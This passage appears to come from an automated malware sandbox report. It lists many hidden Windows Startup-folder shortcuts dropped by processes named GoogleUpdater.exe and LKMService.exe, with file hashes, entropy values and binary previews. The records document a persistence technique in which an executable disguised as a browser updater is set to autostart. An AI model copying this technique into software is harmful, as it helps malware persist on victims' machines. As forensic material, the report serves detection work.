Preview:	L..................F...."......P..../~MP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....KP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_959eb1234d0a483ba52c54a8a3da24cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:17 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94540766145254
Encrypted:	false
SSDEEP:	24:8pORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pORjr1R8AZjvgTyF
MD5:	C3371D1686762B86F4C57FC61099AE59
SHA1:	CF9764FD6A74B6C7D7EA387629D58B6BCB87B9DF
SHA-256:	F75ECE9F8D446A2A6C0C055B72C359D5AED6A14AE12D39E2E7A75EAE4346FD88
SHA-512:	5968FDA3676D67B7A5840BA968517686EE500AFD1FCE406E2E6A9062979E6A80F735B264B74C47744ECA6E04F93A7D2B3F384D175A11E70D0B8E6EA4E67E4C8D
Malicious:	false
Preview:	L..................F...."......P.....)P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_95a947d800db4421aaa1b0527996e996.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:00 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941724515480725
Encrypted:	false
SSDEEP:	24:8pgZRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pkRjr1R8AZjvgTyF
MD5:	DD454B6973F84EDD2C5D2F1EBCEC7EBC
SHA1:	F189E4A482BE821646BB886D353BF9FF79CFB9F7
SHA-256:	F9C7FA3D4103DD18B1634023C6224C6DB65FB03FF3247A6FD0B91FD3DE0C2314
SHA-512:	627590B0233AAE3D63A0D0548840CBE68B38E8FAF537ACBA89EEF01DEF71739487EA643692108DDE089D6F46F68F3F377A78772215D3B2F1E1E065CE2578ADED
Malicious:	false
Preview:	L..................F...."......P....A..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9661d0a630474f7f8558ad549a470686.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:51 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9401830740163915
Encrypted:	false
SSDEEP:	24:8psRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8psRAr1R8AZjvgTyF
MD5:	A597301C606401D04DE62D93A3BC3456
SHA1:	EF44106D809A27DBCB4CE3B46310EF8668CFEB9A
SHA-256:	1E34A42445738CABA21FE3C360E761F163EC086C15F5C469B717A7773799EDD0
SHA-512:	27D80F3048C08088F4F704EF8DA6EF997960036D7D415C9B88A77963544109EBF4680D5FDC27DE8D5CB2C75D126E3D37357EC132A85F3F830D292B5AA7D4D773
Malicious:	false
Preview:	L..................F...."......P...,..aP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_97548214d28742fca3e97ce5dd7a7648.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:07 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942998587214335
Encrypted:	false
SSDEEP:	24:8pqLvRAjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pq7Rer1R8AZjvgTyF
MD5:	6DEA57DA377C65A65E4965367FF7915F
SHA1:	85C28A68F1ED2F91D0C4EC9D3DF4161CA7EA1BC5
SHA-256:	4B7DB9397B0ED6F4042FC6BAFF09012AE9BB132ED6532BA3771C92CF36446DEE
SHA-512:	6DDCE46BF3553579B2805A1B6F73661DEA4F51919BA44C2850B8BD7FF61DC6EAF27413CA568D15CCAA5E041D1C1450E8844B56A02586533767AA9CCE0A31B265
Malicious:	false
Preview:	L..................F...."......P...#..kP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......kP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9925415a031b4e0da32b28ed8dc8d494.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:37 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939715481314669
Encrypted:	false
SSDEEP:	24:8pVR2eYl1RogKrA5+W8Ajfv/42egvqyFm:8pVR2r1R8AZjvgTyF
MD5:	0A749197B288FDD485A31F2CB86FB6DE
SHA1:	6BC89D4CE07C2C42E6774306CC9D1E2ED72A1819
SHA-256:	CCCF8ED03371ED361666B1DE917C60377C660985821662EAA384E49ECCD08E6F
SHA-512:	E251366D3B0689D3926146EFE6CDB3619EE99107257B2CC90589DC91366E48ADA9E9702E22A76038CF267E7EFEBF8D0E52F74F581FC9E36F9345AEAA426130FE
Malicious:	false
Preview:	L..................F...."......P...W.RYP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...f!.XP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_993bca652c984e3cb4f54ae35b7beba3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:01 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945015768248565
Encrypted:	false
SSDEEP:	24:8pLRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pLRBr1R8AZjvgTyF
MD5:	21343EF703B4AAC30E8B9D6A9E41FBFD
SHA1:	3C32BDF307141700CBEAE4FA1DC641D35BA751D7
SHA-256:	0CEE0957C229A7D3CB17E30B7D0AC2D9960D6BC478200DC39EFFA62CDFBA9DB3
SHA-512:	6B3D610397B4805AB043A8BA48BE2F0B2E4720E3C0C826661CFE8103E9809A1A6800CA3C5B17517650443B00457BA97EA2D369A21BF2077D82A656C1844191A8
Malicious:	false
Preview:	L..................F...."......P...... P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_99873ac9e6374501a7d41a5bd5c0fd01.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:26 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9416950353930975
Encrypted:	false
SSDEEP:	24:8pRRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRkr1R8AZjvgTyF
MD5:	DD3C756BDAFDA832E0516C0E7A3EF8D5
SHA1:	87720F5652EDEB4D697FF8CB7285759A0911AEF5
SHA-256:	AE0D03A91224FB23B6236F71BF7590DD7336AAF71CB901CE7CB05225381A8F25
SHA-512:	33AE26653CB4EB9D3B6FDA62E4386B8EFB0060CDBCCA2663955731CD504115E582CE3C3C31AEA376CA1F70B2AA979FDFABCA376614284AF65403DFE73E888002
Malicious:	false
Preview:	L..................F...."......P...P...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9ac0c69395954e38900ffb3ca58d3ba1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:59 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94149885601309
Encrypted:	false
SSDEEP:	24:8pGqRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8pnRAr1R8AZjvgTyF
MD5:	820590622E830BCA908BF3FCFF115607
SHA1:	85427D750D0CE43520CDCD94EE726B4665F3D2CA
SHA-256:	5A3531699A75B7AD5C5CCA2B9D0C600D90CA57243E233929B12F6DF671F9AFF0
SHA-512:	EF74FD2EEB6C5E87E9FA87F0BEE87AE728189771E6C5616A13CD4181B681EB5D3B6FAE92BD1825439AD2F34CF460B835591B8E24D8918C8488914A667132976A
Malicious:	false
Preview:	L..................F...."......P...b..fP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......dP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9af8740e43af44ca9c5665f7d56f347a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:13 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9381644579135395
Encrypted:	false
SSDEEP:	24:8pDjRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pDjRBr1R8AZjvgTyF
MD5:	2C38D466339750922E13F0E64A141C4B
SHA1:	2DF9755C2E4F88D7D7D8DA3F7B34FFE3D7F70C63
SHA-256:	0F8AD1A4EB4782E6106445CBFFE29CDFDA200DFEAB7459227E803D2833876A84
SHA-512:	D759BC64CA8447D5CEDD20B3DD91ECD88C0E865C9451511FCB221628DE5D3D1C3B7F9543DB30EFD599C9AEACB6C04BD714C81B0EA4A354C3405720EAA38338EA
Malicious:	false
Preview:	L..................F...."......P...\..'P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9d459e8b7367496aa7d4137895062eab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:29 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941226548842934
Encrypted:	false
SSDEEP:	24:8pUqRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p1Rkr1R8AZjvgTyF
MD5:	85CC424B5ED6690E38A116F22BFEA379
SHA1:	CD63B4E7DCA26FEC27B46E8D0AE88CAB129C66E0
SHA-256:	4F6B5FFC2A3334DCC16D0D7AA6BDC22AA4D4362BA74DBDE6B08DF0685B3ED024
SHA-512:	44E5105FA16F080695A61FA9881B6173C74DCE1523939777EF7118E074758BCE9392463BE9FE74836F33947F72696680EE4A78B5CE8207DD6585BE8D1B0F69A0
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9d949db4125f402aa0319cfce5bd7f56.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:23 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941395098159576
Encrypted:	false
SSDEEP:	24:8pERjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pERjr1R8AZjvgTyF
MD5:	AF5680F6EA3F45DEB42F8576A4468580
SHA1:	0C4DA2E44D6811DA8A215E01D425D4BD75911B33
SHA-256:	CA9B254C9E8DD66DC627DF3CACCCA4B3A5935FA16EA17D4316132B1D8D44E4D4
SHA-512:	E98E35AD7661DDDCBA2972E3721B72F252B6F7D654B2D61760DBD5FB7D0854EF0E7CD029E99CDFC3A3B4C1FA7E426204DB3BAC46072FF9A27F45BA74B72423C9
Malicious:	false
Preview:	L..................F...."......P....(.,P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9da6de5b91dd464894979aaebd48db19.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:12 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935958792148193
Encrypted:	false
SSDEEP:	24:8pCRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pCRjr1R8AZjvgTyF
MD5:	D2DF721E98932762937EF17762265DEC
SHA1:	4FBDB08B16A60CC72F837A978BE2EF77C709FD38
SHA-256:	C3CC7D25CB9D15FD958F7A5BE80647E1DCCF3314EDD363AA7D2D0A12AF8382E5
SHA-512:	272252D5D02EA5FC4A3230AE637EDE6C0A0D949F39CBD83484C91823F25DB1ECA45AA1CD252BCA7C4093F964BC4B00019752991261858CAB315677705D3A4BFB
Malicious:	false
Preview:	L..................F...."......P.....v&P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9e2a78212fe8413a986a763f0b5e8fba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:34 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938327189279069
Encrypted:	false
SSDEEP:	24:8pRRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRjr1R8AZjvgTyF
MD5:	F485C1926DA85708352DADA8F98BB955
SHA1:	C6E566AC4C08737B8D768290C99C878B72842B63
SHA-256:	B5019784B4B98DC492327D98B258295D91C2A5662149087C216CEBC30EE474BD
SHA-512:	C966A81A87C58FB280065B49FF9AC3D3CAFF9CA7449B0A7B54B20A7356BEC6765D3269CAA820B336F2C5FA9BB40C903003DC0D677E02B6CD0851D0F3C2F12326
Malicious:	false
